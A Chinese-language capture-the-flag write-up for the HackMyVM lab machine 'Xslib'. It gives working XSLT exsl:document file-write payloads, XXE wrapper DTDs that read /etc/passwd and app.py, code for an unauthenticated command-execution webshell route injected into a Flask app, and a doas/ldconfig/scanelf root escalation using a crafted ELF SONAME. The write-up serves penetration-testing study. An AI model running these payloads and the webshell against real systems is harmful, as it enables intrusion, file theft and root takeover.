HackMyVM Xslib 通关记录|XSLT 任意文件写入、XXE 任意文件读取与 doas ldconfig 提权
靶机链接:Xslib
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Xslib | 192.168.1.112 | 靶机 (Document Processing System) |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键操作 / 证据 | 作用 |
|---|---|---|
| 端口扫描 | nmap -sV -p- -T4 192.168.1.112 | 发现 22(OpenSSH 10.4) 与 5000(Werkzeug httpd 3.1.8 Python 3.14.5) |
| 信息泄露 | GET /health | 未授权泄露绝对工作路径 /opt/web,确认 users.json 与 uploads 存在 |
| 文件写入 | exsl:document href="file:///..." | 利用 lxml.etree 默认允许 EXSLT 扩展实现任意文件写入 |
| 文件读取 | XXE 外部参数实体 + 动态包装 DTD | 先写本地 DTD,再通过参数实体展开通用实体 &xxe; 读取任意文件 |
| 凭据与源码 | 读取 users.json、user.txt 与 app.py | 获取 User Flag、momo 凭据并审计应用运行机制 |
| 命令执行 | 覆盖 /opt/web/app.py 注入路由 | /opt/web/watch.sh 监控 app.py 变更,自动以 momo 身份重启 Flask 服务 |
| Root 提权 | doas -n /sbin/ldconfig -- -v -o /etc/doas.d/xslib.conf /tmp/doas_soname.so | 利用 scanelf -o 将 ELF 的 SONAME 写入 OpenDoas 规则,实现无密码 root 提权 |
0x02 端口扫描与服务识别
对靶机进行全端口扫描与服务识别:
nmap -sV -p- -T4 192.168.1.112
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.4 (protocol 2.0)
5000/tcp open http Werkzeug httpd 3.1.8 (Python 3.14.5)
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
- 22/tcp:OpenSSH 10.4(支持密码与公钥认证)。
- 5000/tcp:Python 3.14.5 / Werkzeug 3.1.8 构建的 Web 应用 “Document Processing System”。
0x03 /health 泄露工作目录
未授权访问 /health 接口获取服务运行状态:
curl -s http://192.168.1.112:5000/health
{"current_path":"/opt/web","files_count":0,"status":"healthy","upload_folder_exists":true,"users_count":1,"users_file_exists":true}
接口返回了关键上下文:
current_path:/opt/web(确认应用部署绝对路径)。users_file_exists:true(当前目录下存在用户配置文件users.json)。upload_folder_exists:true(当前目录下存在上传目录/opt/web/uploads)。
0x04 注册账户与登录认证
应用提供开放注册页面 /register,注册账号后登录进入 /dashboard:
# 注册新用户 pentester
curl -s -X POST http://192.168.1.112:5000/register \
-d "username=pentester&email=pentester@test.com&password=P@ssw0rd123!&confirm_password=P@ssw0rd123!&terms=on" \
-c cookies.txt
登录后进入 /dashboard,系统提供 xml_file 与 xsl_file 两个文件上传入口,上传后重定向到 /process/<file_id> 执行 XSLT 转换(源码节选,来自后文 0x07 读取的 app.py):
xml_tree = ET.parse(file_info['xml_path'])
xsl_tree = ET.parse(file_info['xsl_path'])
transformer = ET.XSLT(xsl_tree)
result = transformer(xml_tree)
0x05 XSLT 任意文件写入(exsl:document)
在 Python 的 lxml.etree 库中,ET.XSLT(xsl_tree) 默认启用了 EXSLT 扩展,且未传入 access_control=ET.XSLTAccessControl(write_file=False)。因此,攻击者可以在 XSL 样式表中使用 exsl:document 将转换结果写入任意可写路径。
需要注意:XSL 样式表本身属于 XML 文档。为使 <exsl:document method="text"> 向目标文件写入真实的 <、>、&、'、" 等字符,需在 XSL 模板中对它们进行标准 XML 实体转义(&、<、>、"、')。XML 解析器在解析样式表时会先将这些实体还原为字面字符,随后 XSLT 文本模式即可将字面字符直接落盘;若在样式表中使用 <![CDATA[...]]> 包裹实体字符串,会阻止实体的求值替换,导致字面转义文本(如 <)被原样写入文件。
测试写入载荷(xsl_write.xsl):
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:output method="text"/>
<xsl:template match="/">
<exsl:document href="file:///tmp/test_write.txt" method="text">
hello from exsl:document
</exsl:document>
WRITE_OK
</xsl:template>
</xsl:stylesheet>
上传该 XSL 与任意基础 XML(如 <root/>)至 /upload 接口,后端成功在 /tmp/test_write.txt 写入指定内容。
0x06 XXE 参数实体 + 包装 DTD 任意文件读取
在 /process/<file_id> 处理过程中,直接在 XML 中声明外部通用实体(如 <!ENTITY xxe SYSTEM "file:///etc/passwd">)会被拒绝解析(报 Entity 'xxe' not defined),但解析器允许加载外部参数实体(%remote;)。
结合已获得的任意文件写入能力,可以构造“两步走”任意文件读取链:
- 第一步:使用
exsl:document写入一个包装 DTD 文件(如/tmp/xslib_wrap.dtd),在 DTD 内部通过参数实体将目标文件动态声明为通用实体xxe。 - 第二步:上传 XML 引用该本地 DTD,并在正文节点展开
&xxe;,后端通过 XSL 模板渲染输出文件内容。
1. 普通文本/配置读取(单引号包装)
对于 /etc/passwd 或 /opt/web/users.json 等不含特殊 XML 闭合标签的文件,使用标准 DTD(wrap_read_passwd.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % define "<!ENTITY xxe '%file;'>">
%define;
XML 载荷:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///tmp/xslib_wrap.dtd">
%remote;
]>
<root><message>&xxe;</message></root>
2. 源码文件读取(CDATA + 双引号包装)
对于 Python 源码(如 /opt/web/app.py),代码中含有大量单引号、双引号及路由尖括号(如 <file_id>),若直接拼入实体会导致 DTD 解析崩溃。推荐使用 CDATA 分隔符与双引号包裹(wrap_read_app_cdata.dtd),确保解析器安全读取:
<!ENTITY % file SYSTEM "file:///opt/web/app.py">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % define '<!ENTITY xxe "%start;%file;%end;">'>
%define;
0x07 读取凭据与源码分析
使用自动化复现脚本 exploit.py 读取关键文件:
XSLIB_BASE="http://192.168.1.112:5000" python3 exploit.py
1. 读取 /opt/web/users.json
{
"momo": {
"password": "M0MO123!",
"email": "momo@Xslib.dsz",
"active": true
},
"pentester": {
"password": "P@ssw0rd123!",
"email": "pentester@test.com",
"active": true
}
}
得到管理员账户 momo 的 Web 端明文密码:M0MO123!。
尝试将此凭据复用于 SSH 登录(ssh momo@192.168.1.112)会提示 Permission denied, please try again。虽然 SSH 服务端支持密码认证(支持 publickey,password,keyboard-interactive),但 users.json 中的密码仅属于 Web 应用层,未与 Linux 系统账户密码同步(系统 /etc/shadow 中为独立哈希)。因此无法通过 SSH 凭据复用直接获取会话,后续需通过 Web 漏洞实现命令执行。
2. 读取 /home/momo/user.txt
flag{user-aac270ec162e29f8359e8a68d65237b3}
成功捕获 User Flag:flag{user-aac270ec162e29f8359e8a68d65237b3}。
3. 读取 /opt/web/app.py
获取应用完整源码,确认无额外过滤器或安全沙箱。
0x08 覆盖 app.py 注入 WebShell 与 RCE
在系统进程枚举中发现,后台常驻运行着 /opt/web/watch.sh:
#!/bin/sh
start_web() {
pkill -f "python3 app.py" 2>/dev/null
cd /opt/web
nohup python3 app.py >/dev/null 2>&1 &
}
start_web
inotifywait -m -e close_write,modify /opt/web/app.py | while read -r _; do
start_web
done
watch.sh 使用 inotifywait 监控 /opt/web/app.py 的写关闭与修改事件,一旦文件被修改,便自动以 momo 用户身份杀掉旧进程并重启 app.py。
因此,直接通过 exsl:document 覆盖 /opt/web/app.py,在 if __name__ == '__main__': 前插入无认证命令执行路由:
@app.route("/__xslib_diag")
def __xslib_diag():
command = request.args.get("cmd", "id")
completed = subprocess.run(
command,
shell=True,
cwd="/opt/web",
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=15,
text=True,
)
return completed.stdout, 200, {
"Content-Type": "text/plain; charset=utf-8",
"X-Xslib-UID": str(os.getuid()),
}
上述代码为路由核心逻辑的简化节选。在配套利用脚本 app_backdoor.py 的完整实现中,还包含了首尾注释标记(用于精准定位替换与还原)、异常捕获保护、以及通过 ?reload=1 调用 os.execv 实现进程自主重载的逻辑(处理 inode 替换后旧 inotify 监听失效的边缘情况)。
覆盖动作可由辅助脚本 app_backdoor.py 自动完成:
XSLIB_BASE="http://192.168.1.112:5000" python3 app_backdoor.py install
[*] Logging in
[*] Reading /opt/web/app.py
[+] Backup: source/opt_web/app_before_backdoor.py (8454 bytes)
[*] Overwriting /opt/web/app.py (9534 bytes)
[*] Waiting for /__xslib_diag
[+] HTTP 200, remote uid=1000
uid=1000(momo) gid=1000(momo) groups=1000(momo)
Xslib
/opt/web
测试执行命令:
curl -s -G --data-urlencode 'cmd=id; uname -a' http://192.168.1.112:5000/__xslib_diag
uid=1000(momo) gid=1000(momo) groups=1000(momo)
Linux Xslib 7.1.5-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-07-28 18:09:33 x86_64 Linux
0x09 doas ldconfig 提权到 root
1. 枚举 doas 权限配置
在 Alpine Linux 中,默认使用 OpenDoas 替代 sudo。尝试直接读取 /etc/doas.conf 或使用 doas -l:
curl -s -G --data-urlencode 'cmd=ls -la /etc/doas.conf; cat /etc/doas.conf' http://192.168.1.112:5000/__xslib_diag
-rw-r----- 1 root root 260 Jul 1 21:31 /etc/doas.conf
cat: can't open '/etc/doas.conf': Permission denied
可以看到 /etc/doas.conf 权限为 640 root:root,momo 用户没有读权限;且 OpenDoas 不支持 sudo -l 风格的规则列表参数(执行 doas -l 会提示 unrecognized option: l)。
但 OpenDoas 提供了非交互模式参数 -n:若命令无需密码即可执行则返回 0,若未配置或需要密码则立即报错 doas: Operation not permitted(返回非 0)。因此可以通过遍历系统可执行文件进行免密探测:
curl -s -G --data-urlencode 'cmd=for bin in /bin/* /sbin/* /usr/bin/* /usr/sbin/*; do doas -n "$bin" --help >/dev/null 2>&1 && echo "ALLOWED: $bin"; done' \
http://192.168.1.112:5000/__xslib_diag
ALLOWED: /sbin/ldconfig
探测结果清晰显示:momo 拥有免密以 root 身份执行 /sbin/ldconfig 的权限。测试单独执行 doas -n /sbin/ldconfig 成功返回 0,而 doas -n id 则被拦截(doas: Operation not permitted)。
在完成 root 提权后查看 /etc/doas.conf,证实原配置规则确为:
permit nopass momo as root cmd /sbin/ldconfig
2. 分析 /sbin/ldconfig 脚本
查看 /sbin/ldconfig 源码:
#!/bin/sh
scan_dirs() {
scanelf -qS "$@" | while read SONAME FILE; do
TARGET="${FILE##*/}"
LINK="${FILE%/*}/$SONAME"
case "$FILE" in
/lib/*|/usr/lib/*|/usr/local/lib/*) ;;
*) [ -h "$LINK" -o ! -e "$LINK" ] && ln -sf "$TARGET" "$LINK"
esac
done
return 0
}
# eat ldconfig options
while getopts "nNvXvf:C:r:" opt; do
:
done
shift $(( $OPTIND - 1 ))
[ $# -eq 0 ] || scan_dirs "$@"
分析该脚本的参数传递缺陷:
- 脚本使用
getopts解析自身参数。当传入--时,getopts终止解析,后续所有参数直接放入$@。 $@被直接传递给scan_dirs,即作为参数拼接进scanelf -qS "$@"。scanelf是 Pax-utils 的 ELF 扫描工具,支持-o, --file <arg>选项,用于将输出写入指定文件;同时-v选项会输出详细信息格式:<SONAME> <filepath>。- 因为
doas执行整段脚本的有效身份为root,所以scanelf -o /etc/doas.d/xxx将以 root 权限创建并写入任意文件。
3. 构造恶意 ELF 与 SONAME 注入
OpenDoas 支持在 /etc/doas.d/*.conf 下放置配置片段,且 # 之后为注释内容。
如果我们将一个 ELF 共享库的 DT_SONAME 指定为 permit nopass momo as root #,那么 scanelf -qS -v 扫描该库时的输出将为:
permit nopass momo as root # /tmp/doas_soname.so
当这行文本被写入 /etc/doas.d/xslib.conf 时,OpenDoas 会将其解析为:
- 规则:
permit nopass momo as root(允许momo免密执行任意 root 命令) - 注释:
# /tmp/doas_soname.so
编译恶意动态库(doas_soname.c):
gcc -shared -fPIC -Wl,-soname,'permit nopass momo as root #' \
-o /tmp/doas_soname.so doas_soname.c
4. 传输恶意共享库并触发 Root 提权
由于无法通过 SSH 进行交互式文件传输,我们可以在本地攻击机(Kali)上编译好 ELF 动态库后,通过 WebShell 进行 Base64 回传写入靶机 /tmp 目录,并附带 MD5 完整性校验:
(1) 本地编译与 Base64 编码
在 Kali 攻击机上执行:
# 编译含特制 SONAME 的共享库
gcc -shared -fPIC -Wl,-soname,'permit nopass momo as root #' \
-o /tmp/doas_soname.so doas_soname.c
# 计算本地 MD5 校验和
md5sum /tmp/doas_soname.so
# 5a6a21f364b43e84a368ad587ce8f492 /tmp/doas_soname.so
# 提取单行 Base64 字符串
SO_B64=$(base64 -w0 /tmp/doas_soname.so)
(2) WebShell 回传并校验 MD5
通过 WebShell 将 Base64 解码写入靶机 /tmp/doas_soname.so,赋予执行权限并比对 MD5 校验和:
curl -s -G --data-urlencode "cmd=echo '$SO_B64' | base64 -d > /tmp/doas_soname.so && chmod 755 /tmp/doas_soname.so && md5sum /tmp/doas_soname.so" \
http://192.168.1.112:5000/__xslib_diag
5a6a21f364b43e84a368ad587ce8f492 /tmp/doas_soname.so
两端 MD5 完全一致,确认文件传输完整无损坏。
(3) 验证 scanelf 输出
在靶机上测试 scanelf 的解析结果:
curl -s -G --data-urlencode 'cmd=scanelf -qS -v /tmp/doas_soname.so' http://192.168.1.112:5000/__xslib_diag
permit nopass momo as root # /tmp/doas_soname.so
(4) 触发提权与获取 Root Flag
通过 doas -n /sbin/ldconfig 调用 scanelf -o 将该行规则写入 OpenDoas 目录:
# 触发 ldconfig 穿透参数,以 root 权限写入 OpenDoas 规则
curl -s -G --data-urlencode 'cmd=doas -n /sbin/ldconfig -- -v -o /etc/doas.d/xslib.conf /tmp/doas_soname.so' \
http://192.168.1.112:5000/__xslib_diag
检查写入的规则内容,并以 root 权限执行命令读取 Root Flag:
curl -s -G --data-urlencode 'cmd=doas -n cat /etc/doas.d/xslib.conf; doas -n id; doas -n cat /root/root.txt' \
http://192.168.1.112:5000/__xslib_diag
permit nopass momo as root # /tmp/doas_soname.so
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
flag{root-9917eda0d060f9c4c9ebe09a2be2a596}
成功读取 Root Flag:flag{root-9917eda0d060f9c4c9ebe09a2be2a596}。
0x0A 最终成果 (Final Flags)
User Flag
- 路径:
/home/momo/user.txt - 内容:
flag{user-aac270ec162e29f8359e8a68d65237b3}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-9917eda0d060f9c4c9ebe09a2be2a596}
总结
| 阶段 | 入口 | 关键缺陷 | 影响 |
|---|---|---|---|
| 信息泄露 | GET /health | 未授权泄露应用绝对工作路径 | 获得绝对路径 /opt/web,为后续读写提供定位 |
| 文件写入 | POST /upload XSLT | lxml.etree.XSLT 未配置 XSLTAccessControl | exsl:document 允许任意文件写入 |
| 文件读取 | POST /upload XML/XSLT | XML 解析器支持加载外部参数实体 | 结合本地包装 DTD 实现无盲注任意文件读取 |
| 命令执行 | 覆盖 /opt/web/app.py | watch.sh 监控源码修改自动重启 Flask 实例 | 注入诊断路由获取 momo 权限 WebShell |
| 权限提升 | doas /sbin/ldconfig | getopts 参数截断传递给 scanelf -o | root 身份任意文件写入,注入 OpenDoas 规则提权 root |
0x0B 配套脚本
| 文件 | 说明 |
|---|---|
| doas_soname.c | 恶意 ELF 源码,DT_SONAME 设为 permit nopass momo as root #,编译后经 doas ldconfig 写入 doas 规则 |
| xsl_write.xsl | exsl:document 任意文件写入 XSL 测试载荷 |
| wrap_read_passwd.dtd | XXE 参数实体包装 DTD,用于读取 /etc/passwd 等普通文本 |
| wrap_read_app_cdata.dtd | CDATA + 双引号实体包装 DTD,用于读取含引号/标签的 app.py 源码 |
| exploit.py | 自动化复现脚本:自助注册、验证文件写入、读取目标文件(支持 XSLIB_BASE) |
| read_app.py | 通过 XXE 包装 DTD 提取完整 /opt/web/app.py 的辅助脚本 |
| app_backdoor.py | 覆盖 /opt/web/app.py 注入无认证 WebShell 并支持一键恢复 |
| xslib_enum.py | 基于 XXE 报错预言机的文件与端点探测脚本 |
| xslib_file_read.py | 批量目标文件读取辅助脚本 |
| build_service_overwrite_xsl.py | 生成将 Base64 嵌合 ELF 与一键还原逻辑打包为单一 XSL 载荷的构建脚本 |